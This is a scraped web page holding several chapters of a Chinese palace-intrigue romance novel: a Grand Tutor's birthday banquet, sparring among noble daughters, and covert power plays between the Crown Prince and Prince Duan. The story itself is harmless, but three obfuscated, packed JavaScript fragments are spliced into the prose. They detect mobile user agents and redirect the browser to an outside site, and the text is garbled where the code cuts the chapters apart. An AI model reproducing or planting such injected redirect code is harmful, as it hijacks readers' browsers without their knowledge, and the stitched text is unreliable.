d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885253|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下。”他是殿下的贴身侍卫，岂能轻易离身。 谢玦没等箫凛开口，又笑着添了一句，眼底满是狡黠，语气带着几分无赖：“还有，此事若成，你可得把你姨夫那坛珍藏了十年的醉仙酿给我赢过来。” 箫凛眉峰微挑，睨着他那副志在必得的模样，语气淡得听不出情绪：“姨夫那坛酒宝贝得很，连姨母去讨都未必讨要得到，你倒敢打主意。” 谢玦晃了晃搭在明霄肩上的手，笑得愈发无赖，这时敲了敲掌心：“那便看你的本事了。左右我替你趟这浑水，总不能让我白忙活一场。” “白忙活？”箫凛嗤笑一声，语气带着几分讥诮，“太傅府里的珍馐玉馔，还不够你解馋？” “那些俗物哪比得上陈年佳酿。”谢玦撇撇嘴，一脸的不屑，忽然凑近了些，压低声音道，“再说了，我帮你盯着太傅，你帮我赢酒，咱俩互利共赢，多划算。” 明霄站在一旁，只觉得这两人的对话没半分章法，从打探消息扯到了一坛酒上，忍不住轻咳一声，试图拉回正题：“殿下，世子，太傅寿宴那日人多眼杂，需不需要提前……” 话没说完，就被谢玦拍了拍肩膀打断，他拍了拍胸脯，语气笃定：“放心，有本世子在，保管万无一失。” 箫凛没再接话，只是望着亭外连绵的雨丝，眸色愈发沉了几分。 谢玦望着他那略显萧索的背影，忽然想起什么，凑到明霄身边，调侃着压低声音问道：“你家殿下，上次让你追的那女子可有了后续？” 明霄面上一阵窘迫，下意识地瞥了瞥身前的箫凛，见他依旧凝望着亭外的雨帘，浑似未闻，这才压低了声音，苦笑着对谢玦道：“世子就别打趣殿下了，哪有什么后续。” 谢玦挑了挑眉，折扇往掌心一敲，满脸的不信：“哦？当时连官差都惊动了，这般阵仗，竟会没后续？本世子还特意在府中避嫌，没敢凑那份热闹。” “世子有所不知，那女子实在是狡黠得紧。”明霄无奈苦笑，“前前后后几番，眼看着就要逮着人了，到头来都叫她金蝉脱壳，悄没声地逃了去。” 谢玦闻言，先是一愣，随即低低地笑出声来，折扇敲着手心，啧啧称奇：“哦？竟还有这等妙人？能从你明霄的眼皮子底下溜走，可见不是寻常闺阁女子。” 他说着，抬眼睇向箫凛，眼底满是促狭：“我说萧景珩，你莫不是故意放水？不然凭着明霄的身手，哪能让人一而再，再而三地逃脱？” 箫凛指尖微顿，目光依旧落在亭外的雨丝上，声音淡得像一池静水：“聒噪。” 明霄在一旁连忙打圆场，苦笑道：“世子就别拿殿下打趣了。那女子不仅身手利落，口齿更是伶俐得很。属下与殿下前番追拿，险些就落了个强抢民女的污名，反倒被她堵得哑口无言。” 谢玦听得兴致盎然，折扇一收，凑近了萧凛几分，眉梢眼角都带着笑意，打趣着：“哦？还有这般有趣的女子？” “可记得她有何特征？有机会遇上，本世子也要会上一会。” 说罢，明霄从怀里掏出那张画像，递了过去。谢玦接过展开，只一眼，便满脸惊奇，拿着画像朝萧凛扬了扬，又压低声音问明霄：“他画的？” 明霄点了点头，没开口。 谢玦双手摊开画像，目光落在那眉眼灵动的女子像上，细细端详着，频频点头，旋即又凑近明霄，声音压得极低，却满是笃定：“你家殿下啊，怕是这次要栽了。” 47. 靠山 两日后，太傅寿宴，将军府受邀赴宴。 这次太傅寿宴倒与丞相府寿宴不同，送完贺礼，齐太傅便捋着长须，笑盈盈唤来齐湘玉，让她领着一众珠翠环绕的贵女们，去府中后园赏菊。 齐湘玉一身昌荣色绣折枝牡丹的罗裙，举止温婉大方，引着众人穿过抄手游廊，入了那方栽满菊花的园子。 秋风飒飒，满园菊蕊开得正盛，黄的似金盏，白的如碎玉，紫的若云霞，还有那墨菊，花瓣浓艳如泼墨，在一众素色中格外惹眼。 廊下早摆好了红漆嵌螺钿的木桌，桌上搁着水晶碟盛的蜜饯、雕花糕饼与新酿的菊花酒，几个伶俐的丫鬟提着鎏金铜壶，正踮着脚给贵女们斟茶。 齐湘玉含笑上前，纤纤玉指轻点一丛开得最盛的粉菊：“这是家父前年从江南寻来的‘醉西施’，秋日里经了几场霜，开得越发娇艳动人。” 一旁的户部尚书之女姜云忙凑趣，声音娇俏得像枝头的黄鹂：“齐姐姐好福气，太傅大人这般疼你，连这等珍品都肯移栽到府中。依我看，连贵妃娘娘的菊圃，都没这般琳琅满目的品种呢！” 齐湘玉握着绢帕的手微微一顿，旋即敛眸谦虚道：“姜妹妹此言差矣，太傅府中的野菊闲花，怎能比得上贵妃宫中的奇珍？” 她话音未落，忽然抬眼望向人群末尾，唇边笑意深了几分：“你说是吧，韫儿妹妹？” 被莫名点到名的汀竹正望着廊外的墨菊出神，冷不丁听见自己的名字，猛地回过神来，眼底还带着几分茫然的怔忪。 周遭霎时静了一瞬，廊下贵女们的目光齐刷刷落在汀竹身上，带着几分看热闹的玩味。 汀竹定了定神，将手中把玩的玉簪放回袖中，缓步走出人群。她今日穿了件素青暗纹的罗裙，裙摆上只绣了几朵淡墨竹影，与周遭的珠翠锦绣比起来，反倒显得清冷出尘。 “齐姐姐说的是。”她唇角噙着一抹浅淡的笑意，声音清泠道，“贵妃娘娘的菊圃，集天下奇花异草，岂是太傅府上的菊园能比的？” “不过依妹妹我看，这‘醉西施’虽娇艳，却不如那廊角的墨菊有风骨，经霜不凋，倒像极了太傅大人的风骨。” 这话既捧了贵妃，又赞了太傅，还不着痕迹地避开了齐湘玉设下的陷阱。 齐湘玉脸上的笑容僵了一瞬，旋即又恢复如常，握着绢帕的手却悄悄收紧：“韫儿妹妹这话，倒比我们几人都要透彻。” 姜云撇了撇嘴，指尖捻着腰间垂下来的玛瑙坠子，语气里带着几分悻悻：“哼，倒是会说漂亮话。”她眼扫过汀竹素净的面纱，话里话外透着几分不屑，“不愧是未来的太子妃，倒比我们这些世家小姐还懂这些弯弯绕绕。” 汀竹闻言，抬眸淡淡扫了她一眼，眸光清冽，眼底那抹笑意却未散去半分。 “姜妹妹这话，倒像是在说世家小姐们，都不懂得谨言慎行，只知逞口舌之快？”她声音不高，却字字清晰，落在廊下众人耳中，惊得几个正窃窃私语的贵女瞬间噤声。 姜云被她一句话堵得脸色涨红，指尖狠狠攥着那枚玛瑙坠子，指尖泛白：“你、你胡说什么！我何曾这般说过？” “哦？”汀竹挑眉，语气轻缓，却带着几分不容置喙的锐利，“那姜妹妹方才的话，又是何意？难不成是觉得，太子妃之位，便该是个不通世务、只知……” 她话音未落，便被齐湘玉含笑打断：“好了好了，今日是家父寿宴，何必为这些小事争执。” 齐湘玉走上前，亲昵地挽住汀竹的手腕，指尖却在她掌心暗暗用力：“韫儿妹妹是未来的太子妃，气度自然是旁人比不了的，姜妹妹不过是心直口快，你可别往心里去。” “齐姐姐此言差矣。”汀竹不动声色地抽回手，袖摆轻扬，拂过廊下那丛墨菊，“气度这东西，可不是身份给的，是骨子里带的。” 她这话一出，齐湘玉脸上的笑容又是一僵。 廊下的风更凉了些，卷起墨菊的冷香，漫过众人衣袂。有那心思通透的贵女，已经悄悄垂下了眼，不敢再看这场好戏。 “宋姐姐这话就过了。”站在姜云身侧的李娇璃上前一步，她身着一袭晶红蹙金长裙，鬓边簪着赤金镶宝的海棠簪，语气带着几分娇嗔的偏袒，“姜妹妹本就心直口快，不过是随口一句，姐姐何必这般咄咄逼人？” 一旁的宋婉也连忙出声附和：“是啊，今日乃太傅寿辰，大家和和气气才好。姐姐这般言辞锐利，可是失了将军府的礼数，丢了父亲的脸面。” 两人一唱一和，瞬间将矛头又指向了汀竹。 汀竹正想开口争辩，身侧的李芷瑶对着众人福了福身，声音温软却清晰：“诸位姐姐这话，怕是有失偏颇了。” 李娇璃脸色一沉，回头瞪她：“李芷瑶，这里有你说话的份吗？还不退下！” 李芷瑶却没有退缩，抬眸看向汀竹，眼底带着几分敬佩：“宋姐姐方才的话，句句在理。贵妃娘娘的菊圃本就天下闻名，太傅大人的风骨更是世人称颂，姐姐不过是实话实说，何来咄咄逼人之说？” 她顿了顿，又转向姜云，语气依旧平和：“姜姐姐说姐姐懂弯弯绕绕，可依我看，反倒是姐姐先将太子妃的身份挂在嘴边，平白添了许多计较。今日是太傅寿宴，不谈身份，只论赏菊，岂不是更合时宜？” 这番话不疾不徐，却句句戳中要害，将方才的僵局轻轻拨开。 宋婉张了张嘴，竟一时找不到反驳的话。 李娇璃更是气得脸色铁青，指着李芷瑶的手都在发抖：“你……你这个吃里扒外的东西！” 李芷瑶垂眸，轻声道：“姐姐，我只是说句公道话而已。” 汀竹侧目看向李芷瑶，眸中掠过一丝讶异，只见她朝她颔首示意放心。 齐湘玉见势头不对，忙打起圆场，她拍了拍汀竹的手臂，笑意盈盈：“好了好了，不过是几句口角，何必当真。芷瑶妹妹性子纯良，说的也是公道话。” 她话锋一转，指着满园秋菊道：“你们看这‘醉西施’开得多好，还有那边的‘月下白’，都是难得的佳品，莫要辜负了这好景致。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894527|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜云却依旧愤愤不平，狠狠剜了李芷瑶一眼，又瞪着汀竹道：“哼，不过是仗着有靠山撑腰，真当自己是天仙下凡了？” 这话一出，连原本想打圆场的贵女们都变了脸色。未来太子妃的靠山，那便是太子与将军府，这话若是传出去，姜家怕是要惹祸上身。 李芷瑶秀眉微蹙，正要开口，却被汀竹抬手拦下。 汀竹缓步走到姜云面前，目光平静无波，落在她攥得发白的手指上：“姜妹妹这话，倒是提醒了我。靠山山会倒，靠人人会跑，唯有自身立得住，才是真的稳妥。” 她抬眼，扫过廊下噤若寒蝉的众人，声音清泠如玉石相击：“我虽身负未来太子妃之名，却从未想过仗此压人。方才不过是就事论事，若有得罪之处，还望妹妹海涵。” 一番话说得不卑不亢，既没丢了身份，又给了台阶。 姜云被她看得心头一慌，竟是说不出反驳的话来，只能跺了跺脚，转身气冲冲地去了一旁。 李娇璃见姜云吃瘪，自己又讨不到好，狠狠瞪了李芷瑶一眼，也跟着姜云走了。宋婉见状，讪讪地笑了笑，也寻了个由头溜开了。 廊下的气氛总算缓和下来，齐湘玉暗暗松了口气，看向汀竹的眼神却多了几分忌惮。 “方才你不该为我说话的。”汀竹望着李芷瑶素淡的背影，眉峰微蹙，语气里带着几分真切的担忧。 她想到李娇璃那副蛮横不讲理的模样，又想起嫡庶之别在世家府邸里的分量，便知她回去后，少不得要受些欺负。 李芷瑶闻言，脚步微顿，转过身来时，唇边噙着一抹浅浅的笑，眉眼间却透着几分倔强：“姐姐无需挂怀，我虽位卑，却也晓得公道二字，断没有看着旁人颠倒黑白的道理。” 正说着，府外忽然传来一阵整齐的脚步声，跟着便是管事高亢的通传：“太子殿下、端王殿下驾到——” 前院的朝臣们闻声，纷纷整了整朝服，簇拥着齐太傅迎了出去。太子一身杏黄常服，面容俊朗，气度雍容，端王则是一袭宝蓝锦袍，眉眼间带着几分漫不经心的疏离。 二人并肩走来，满院臣工齐齐躬身行礼：“臣等参见太子殿下，参见端王殿下，千岁千岁千千岁。” “众卿平身。”太子声音温和，目光扫过齐太傅，含笑道，“太傅今日寿辰，孤特地前来叨扰一杯寿酒。” 齐太傅忙躬身谢恩：“殿下能来，是老臣的荣幸。” 寒暄几句后，太子的目光落在了人群中的丞相身上，缓步走了过去，二人站在廊下，低声说着话，太子脸上带着浅笑，丞相则是一脸恭谨。 另一边，齐太傅引着端王走到一旁的石桌前，亲自斟了杯茶递过去，语气带着几分亲近：“王爷近来身子可好些了？前阵子老臣寻了一味上好的人参，正想让人送到王府去。” 端王接过茶盏，指尖摩挲着杯沿，淡淡道：“有劳太傅挂心，本王好得很。” 两人看似闲谈，目光却时不时扫过太子与丞相的方向，空气中，隐隐透着一股说不清道不明的张力。 48. 细作 廊下，太子的笑容淡了几分，声音压得极低，堪堪只有丞相一人能听见：“御史台那边，有人递了折子，参孤借赈灾粮款拉拢地方官员，此事舅舅可知晓？” 丞相心头一跳，忙躬身道：“臣略有耳闻，只是折子被陛下压了下来，未曾公开议处。” “压了下来，不代表没人惦记。”太子端起侍从奉来的热茶，骨节分明的手指轻轻敲击着杯壁，声响清脆，语气却听不出半分喜怒，“孤倒想知道，这折子是谁递的，背后又站着谁。” 丞相眸光闪烁，低声道：“殿下放心，臣这就去查，定不叫宵小之辈在暗中作祟。” 太子微微颔首，目光越过廊下熙攘的宾客，落在庭院石桌旁的端王身上，唇角勾起一抹意味深长的笑。 另一侧，齐太傅指尖捻着茶杯的杯托，目光若有似无地瞟向廊下，唇角噙着浅淡的笑意，声音压得极低，带着几分试探的意味：“王爷今日肯赏光前来，老臣心里实在欢喜。说起来，湘玉那丫头，自小就念着王爷的好，前几日还念叨着，要老臣这次寿宴一定要请王爷来。” 端王指尖的动作一顿，垂眸看着杯中澄澈的茶水，眼底漫过一丝不易察觉的冷意。他自然知道太傅的心思，也记得母妃那日的叮嘱。 太傅手握言官奏事之权，于他夺嫡之路至关重要，与齐家联姻，是最稳妥的一步棋。 “太傅的心意，本王明白。”他抬眸，语气平淡得听不出半分情绪，既无欢喜，也无抗拒，“母妃先前已同本王提过此事，联姻之事，本王应了。” 齐太傅脸上的笑意瞬间深了几分，捋着长须的手都微微发颤：“王爷肯应允，真是……真是老臣之幸，也是湘玉的福气！” “福气谈不上。”端王淡淡打断他，语气里带着几分疏离的漠然，“不过是各取所需罢了。” 这话听得齐太傅心头一凛，却不敢表露分毫，只顺着他的话笑道：“王爷说的是。他日王爷成事，我齐家必定鼎力相助，肝脑涂地，在所不辞。” 齐太傅心中明镜似的，这位端王素来对皇家婚事不上心，若非当今贵妃一力促成，这门亲事断无可能。 恰在此时，廊下的太子端着茶杯，缓步走了过来，目光在二人身上转了一圈，笑意温和：“端王弟与太傅在此相谈甚欢，可是有什么趣事？” 端王抬眸，与太子对视，唇角勾起一抹浅淡的弧度，语气平淡：“臣弟不过是与太傅闲话家常罢了。” 齐太傅亦上前一步，拱手笑道：“殿下，方才臣还与王爷提及，今日府中的菊开得甚好呢。” 太子顺着他的话，看向庭院中盛放的菊，眸光流转，笑意更深：“哦？如此，倒是要好好赏一赏了。” 就在这剑拔弩张的当口，府门外又传来一阵爽朗的笑声，伴着少年清亮的嗓音：“太傅大人，晚辈来迟了，还望恕罪！” 众人循声望去，只见靖安侯世子谢玦身着银白劲装，身姿挺拔，身后跟着个眉清目秀的少年，正是明霄。 谢玦大步流星地走进来，先对着太子与端王拱手行礼：“臣谢玦，参见太子殿下，参见端王殿下。” 明霄也跟着躬身行礼，少年人眉宇间的鲜活气，倒冲淡了不少前院的凝重。 太子笑着抬手：“世子不必多礼，今日是太傅寿宴，不必拘于俗礼。” 谢玦起身，连忙让明霄捧着紫檀木匣子上前，双手递到齐太傅面前，动作恭谨又不失少年人的利落。 齐太傅博笑着接过，指尖刚触到匣子，便觉出几分沉甸甸的分量，他掀开镶嵌着螺钿的盖子，只见里面铺着一层金黄色锦缎，锦缎之上，静静躺着一方雕琢精美的和田玉砚，砚台边缘刻着祥瑞的图案，砚心温润通透，一看便知是上等珍品。 “太傅请看，这方砚台是家父珍藏多年的旧物，听闻太傅素来喜爱文房雅器，便特意嘱咐我带来，权当贺寿之礼。”谢玦朗声道，语气里满是爽利，“说来惭愧，家父本是要亲自前来为太傅贺寿的，怎奈今日京郊大营突有军务，实在脱不开身，便让我代他前来，还望太傅莫要怪罪。” 齐太傅连忙合上匣子，眉眼笑地摆手：“世子说道哪里话。靖安侯一心为国，老夫敬佩还来不及，怎会怪罪？倒是劳烦世子跑这一趟，快请坐，快请坐！” 他一边说着，一边示意侍从赶紧添上座椅茶具。 “听闻前几日世子在望京街捉拿细作，反被那细作污了声誉，可有此事？”太子端着茶杯，浅浅啜了一口，目光落在谢玦身上，语气听不出深意。 谢玦拱了拱手，回道：“回太子殿下，确有此事。那日在酒楼，臣见户部尚书家的大公子正在调戏一名女子，便出手解围。谁知那女子看似弱不禁风，手上却有习武的痕迹，臣察觉不对，便将她带到了雅间询问。不曾想此人武功竟不输臣的贴身侍卫，借着酒楼宾客众多之际，竟就这么桃之夭夭，直到今日，臣也没能将她绳之以法。” 谢玦话音落地，庭院里短暂静了一瞬，风卷着菊香掠过廊下，吹动几人的衣摆，却吹不散各自心头翻涌的盘算。 太子手指仍在杯壁上轻轻叩着，眸底笑意未减，眼底却带着一丝冷笑。 户部尚书是他的人，那户部尚书家的大公子纨绔的德行他早有耳闻，如今竟被谢玦撞破调戏细作的场面，倒真是桩棘手的纰漏。细作之事牵连甚广，若是被人揪着户部尚书的名头做文章，难免会扯出他与尚书的关系，进而将赈灾粮款的折子旧事重提。 他抬眼看向谢玦，语气依旧温和：“世子行事果敢，只可惜那细作狡猾，竟叫她逃了。此事孤会吩咐京兆尹多上心，定要将此人捉拿归案。”话是说给谢玦听，余光却扫过端王，分明是在敲打。 端王垂眸呷了口茶，茶雾氤氲了他的眼底的冷意。 户部尚书是太子的人，这一点他比谁都清楚。谢玦撞见的这场闹剧，简直是送上来的把柄。细作、尚书之子、靖安侯世子，这几房牵扯在一起，足够搅起一阵风浪。 太子想压下此事？怕是没那么容易。 这般天意，像是老天都在助他。 他唇角噙着一抹似有若无的笑，抬眼看向太子，慢悠悠开口：“皇兄仁心，只是京兆尹那边办事拖沓，依臣弟看，不如让谢世子继续追查，世子手段了得，定能事半功倍。” 一句话，便将谢玦推到风口浪尖，也将这潭水搅得更浑。 齐太傅捋着胡须的手微微一顿，抬眼看向端王，闻他此番话语，心中立马便欣慰了起来。 户部尚书是太子心腹，谢玦是靖安侯的儿子，靖安侯手握兵权，向来中立。如今谢玦撞破尚书公子的丑事，又牵扯细作，这其中大有文章可做。 顿时心领神会，忙顺着端王的话笑道：“端王所言极是。谢世子少年英雄，追查细作再适合不过。况且此事关乎太和城中的安危，老夫身为言官，也当奏请陛下，彻查此事。” 他这话，明着为公，实则是要借着言官之权，将此事闹大，好让太子那边措手不及。 丞相站在太子身侧，垂着眼帘遮住了眸中焦灼。 他比太子更清楚，户部尚书那儿子就是个惹祸的根苗，如今竟撞上细作，简直是祸不单行。若是太傅真上奏陛下，御史台那帮人定会借机重提赈灾粮款的折子，到时候太子百口莫辩。 他心念急转，表面却无比平静，缓上前一步，拱手笑道：“太傅此言差矣。京中治安本就是京兆尹的职责，若是事事劳烦世子与言官，岂不是显得朝廷官员无用？依老臣看，不如让京兆尹协同世子暗中追查，既不声张，也能早日捉拿细作，两全其美。” 丞相这话，既给了太傅台阶，又想将此事暗处，免得节外生枝，牵扯出太子。 几人各怀心思，言语间绵里藏针，字字句句都裹着刀光剑影。庭院的菊香似乎都染上了几分杀气之色。唯有谢玦站在原地，听着几人的交锋，墨色眉峰微不可察地挑了挑，眉眼间闪过一丝了然，随即又恢复了爽朗模样，仿佛对这场暗流涌动的博弈毫无察觉。 谢玦装似没听出几人话里的机锋，爽朗一笑，拱手道：“多谢殿下与王爷抬爱，也是劳烦太傅挂心。追查细作本就是臣的分内之事，只是此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901500|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事牵连甚广，臣一人之力终究有限，若能得京兆尹相助，自然是再好不过。” 这话既应了太子与丞相的“暗中追查”，又没驳端王和太傅的面子，滴水不漏。 太子眸底的冷光暗了好几分，颔首笑道：“世子能有这份心思，甚好。此事便依丞相所言，你与京兆尹协同查办，切记不可声张。” 端王放下茶杯，似笑非笑着：“世子倒是通透。只是本王担心，有些人心虚之下，怕是会暗中使绊子。” 话音未落，丞相便沉声道：“王爷此言差矣。如今京中安稳为重，谁敢在这等事上动手脚，便是与朝廷为敌，陛下定不轻饶。” 他笑着刻意加重了“陛下”二字，既是警告端王，也是在敲打那些蠢蠢运动想借此事生事的人。 齐太傅慢悠悠道：“丞相说的是。只是老臣身为言官，职责所在，若是察觉有人徇私舞弊，断不会坐视不理。” 几人唇枪舌剑，你来我往之间，庭院里的空气仿佛都凝滞起来。明霄站在谢玦身后，攥着的手都微微发紧，他虽不懂朝堂博弈的门道，却也能感受到此番压抑的气氛。 恰在此时，一阵微风拂过，枝头的叶子簌簌落下几片树叶，飘到了太子的茶杯里。 太子挑眉，抬手示意侍从换杯新茶，忽又朗声笑道：“今日是太傅寿辰，怎的倒说起这些烦心事来？来人，上酒！咱们今日不谈公务，只赏菊饮酒！” 他这话一出，众人皆是会意，纷纷收起了锋芒。 端王率先举杯，淡笑道：“皇兄说的是。太傅寿辰，理当尽兴。” 齐太傅也连忙附和：“殿下所言极是，是老臣失言了。今日有酒有菊，还有诸位贵客，实乃人生一大乐事啊！” 丞相跟着举杯，脸上堆起笑意，眼底却依旧藏着几分散不去的凝重。 唯有谢玦看着杯晃动的酒水，眸底闪过一丝深思。 此番寿宴，到真是让他来对了。本想置身之外，不知不觉间，竟也成了这局中的一颗棋子。 酒过三巡，宾客们或聚在一处吟诗作对，或是围在花架下赏茶闲谈，前院的气氛看上热络融洽，实则暗潮仍在翻涌。 谢玦借着更衣的由头，带着明霄离了席，拐进太傅府僻静的西廊。 明霄终是按耐不住，压低声音问道：“世子，殿下不是让你来暗中观察么？方才那般与太子他们周旋，我听着都替你捏把汗，你怎么还一副云淡风轻的样子？” 谢玦负手而立，望着墙角的几株丹桂，唇角勾起一抹浅淡的弧度：“慌什么？越是这时候，越要沉得住气。”他顿了顿，侧头看向明霄，眼底闪过一丝戏谑，“这不是给你家殿下制造机会。” 明霄听得云里雾里，眉头蹙得更紧，忍不住追问：“制造机会？世子这话是什么意思？殿下只让我跟着你，说要盯紧寿宴上的动静，可我瞧着方才你分明把自己架在了风口浪尖上。” 谢玦低笑一声，心里暗爽。 反正萧凛时常借他身份办事，这等“风口浪尖”的好差事当然要为好兄弟想着了。 笑着笑着目光便望向庭院的方向，那里依旧传来宾客的笑语声，只是这笑声落在他耳中，着实是虚伪。 “你家殿下想坐山观虎斗，可若是连戏台都搭不起，这戏还怎么唱？”他声音压得极低，带着几分玩问，“太子丞相想要压下细作的事，端王要借事发难，太傅要帮端王造势，各怀心思，却都缺一个由头把这潭水搅浑。” 他转头看向明霄，眼底的狡黠更甚：“我方才那番话，看似是周旋，实则是给他们递了把刀。太子与丞相觉得我在帮他稳住局面，端王觉得我能帮他搅动风云，太傅觉得我是个可用的棋子。” “他们越是惦记着拉拢我，就会着急出手，到时候，你家殿下就能看清，这两方势力的底牌究竟是什么了。” 明霄愣了半晌，才猛地回过神来，眼底满是震惊：“世子......你这是在借力打力？” 谢玦不置可否，只是轻笑一声，抬脚便要回走：“走了，再待下去，怕是有人要等不及了。” 49. 尚书 酒意微醺间，齐太傅捻着胡须，目光落在端王与四处特意从后院摆出来几簇的秋菊间转了一圈府，抚掌笑道：“殿下方才还赞府中菊花开得好，后院的冬篱苑中的菊才是精华所在，都是老臣往年托人在各地寻得的，各色名品齐聚，正是赏玩的好时刻。” “湘玉这丫头平日里除了习得一手好字，便是最爱侍弄些花草，此刻怕是正带着女眷们在那边品菊呢。” 这话落点，满是撮合的意味。 端王面上波澜不惊，只淡淡应了一声：“也好。”便将杯中所剩酒液悉数一口吞入腹中。 赵丞相见状，笑着对太子拱手道：“殿下，冬篱苑的墨菊乃是太傅亲手培育，往年只供陛下赏玩，今日难得一聚，不如同去瞧瞧？也当为太傅的寿宴添几分雅兴。” 太子正愁寻个由头探探端王的底细，闻言便放下酒杯，唇角噙着温和笑意：“既然丞相都这么说，孤便随大家走一趟。” 赵丞相闻言，却微微欠身，面上笑意不减，语气里带着几分歉意：“殿下与端王殿下雅兴正浓，老臣便不凑这个热闹了。府中还有几位远道而来的旧友，正等着老臣过去叙话，若是失了礼数，倒显得怠慢了。” “况且老臣这身子骨，不比少年人硬朗，满园秋光虽好，却也经不住这来回走动的折腾，便在此处静候诸位佳音吧。” 太子颔首应允，便同齐太傅等人同行。 谢玦本已悄悄退到廊下，正想寻个空子带明霄溜出太傅府，回宸王府向箫凛禀报方才的场景，熟料齐太傅眼尖，遥遥便喊住了他：“谢世子留步！你心性热闹，定然爱这秋菊胜景，不如一同去后院凑个热闹，也好让女眷们见识见识咱们世子的英雄风采。” 这话喊得响亮，满院宾客的目光都聚了过来。谢玦无奈，只得朝明霄递了个眼神，回身拱手，朗声道：“太傅相邀，晚辈岂敢推辞。” 明霄跟在他身后，压低声音嘀咕：“世子，咱们这还怎么脱身啊？” 谢玦瞥了他一眼，眼底藏着几分无奈的戏谑：“急什么，看戏也得看全套。” 一行人沿着抄手游廊往后院走，脚下青石板路蜿蜒，两侧桂树飘着残留的花香，隐约能听见女子的说笑声从菊圃方向传来。 转过一道垂花门，眼前便豁然开朗。 偌大的冬篱苑里，各色菊花开得正盛，细长如丝的十丈垂帘、清新雅致的绿云、花型似芍药的红衣绿赏、紫艳的墨菊，还有花瓣层层叠叠的千头菊，开得热闹，将满苑秋色衬得愈发浓郁。 冬篱苑中央的八角亭里，几个身着锦绣罗裙的女子正围坐在一起，面前摆着茶杯与点心，笑语盈盈。 瞧见一行人进来，众女眷连忙起身行礼。 齐太傅抬头示意那身着昌荣色绣折枝牡丹的齐湘玉，笑着对端王道：“殿下，这位便是小女湘玉。” 齐湘玉抬眸，露出一张温婉秀丽的脸庞，眉眼间带着几分少女的羞怯，对着端王款款一礼：“湘玉见过端王殿下。” 端王颔首，语气平淡无波：“齐小姐不必多礼。” 亭中其余女子也纷纷见礼，谢玦目光一扫，便认出了其中几位。 户部尚书家的千金姜云，吏部侍郎的嫡女李娇璃，宋将军府上的二小姐宋婉。 还有吏部侍郎庶女李芷瑶身边的一位衣着素青色罗裙的，面带白纱的少女站得极近，不知道的还以为这俩才是姐妹。 姜云性子活泼，率先笑道：“太傅，太子殿下，还有端王殿下，你们可是来迟了，我们方才还在说，这满园的菊花，少了几位贵客赏鉴，可是要寂寞了呢。” 话落，眼神笑着飘至了汀竹身上。 李娇璃跟着附和，声音柔婉：“可不是嘛。这墨菊开得这样好，定要让太子殿下与端王殿下评评，哪一珠最合心意。” 汀竹与李芷瑶二人站在几人侧边一处，安静地垂着眸，并未多言。 谢玦目光在那素青罗裙、面覆白纱的女子身上转了一圈，眉峰微挑，趁众人目光都聚在太子与端王身上的空档，侧头压低声音问身侧的明霄：“那李家二小姐身边的是谁？瞧着面生，穿着打扮倒是素净，偏还带了面纱，倒是有几分意思。” 明霄顺着他的目光瞥过去，也悄声回话，语气里带着几分知晓内情的得意：“世子你有所不知，那是宋将军府上的嫡小姐，名唤宋韫。” “听说自小养在深闺，极少露面，性子也安静得很。” 谢玦双手背与后背的折扇轻轻敲打了背脊两下，眸光微沉：“宋将军的嫡女？就是传闻中因面容有毁的，与太子有婚约的那位‘丑八怪’？” “正是如此。”明霄凑得更近了些，声音压得很低，“太子与宋小姐的大婚将至，估摸是宋将军特意让她在太傅寿宴上来露露面，也是为了让京中贵女们认认人，免得日后冲撞了。” 谢玦闻言，眼底掠过一丝了然，又抬眼望向那白纱少女。汀竹正垂着头，手指轻轻抚摸着腰间系着的那个柿子绣囊，周身偷着一股与周遭热络格格不入的娴静，连带着那素青罗裙，都像是沾了冬篱苑的菊香，清雅得很。 “原来是未来太子妃，”谢玦低笑一声，声音轻得只有两人能听见，“难怪这般低调，倒是藏得深。” 话音刚落，那边姜云又笑着开口，忽然向侧身走了一步，走至汀竹身前，拉着汀竹的手道：“方才太子殿下与端王殿下还未到这时，宋姐姐便说这珠墨菊甚好，还说这墨菊像极了太傅大人的风骨。” 齐太傅闻言，捻着胡须哈哈大笑，目光落在汀竹与那珠墨菊上来回打量，满脸赞许：“宋小姐此言极是！这墨菊傲骨铮铮，旁人赏菊只看色艳，没想到宋小姐出身将门世家，却有文人风采，能看出它的风骨，难得，难得啊！” 姜云脸上的笑意便淡了几分，握着汀竹的手却更紧了些，指尖几乎嵌进对方的皮肉里。她抬眼扫过亭中众人，语气带着几分刻意的惋惜：“太傅大人说的是，宋姐姐眼光独到，只可惜......这般才情，却总以纱覆面，未免太可惜了些。” 她上前一步，声音不大不小，恰好能让亭中众人听清：“毕竟姐姐可是未来的太子妃，身份何等尊贵，若是能以真容示人，定然能让京中闺秀都见识见识，何为真正的才貌双全。” 这话里的惋惜，暗里却直指汀竹容貌有损，不敢见人，连带着太子的颜面也被牵扯进来。 亭中霎时静了静，齐湘玉等人垂下眼帘，皆是一副看好戏的模样。 身侧的李芷瑶正欲开口，却被汀竹一个眼风扫过，明白她所意便闭嘴不言。 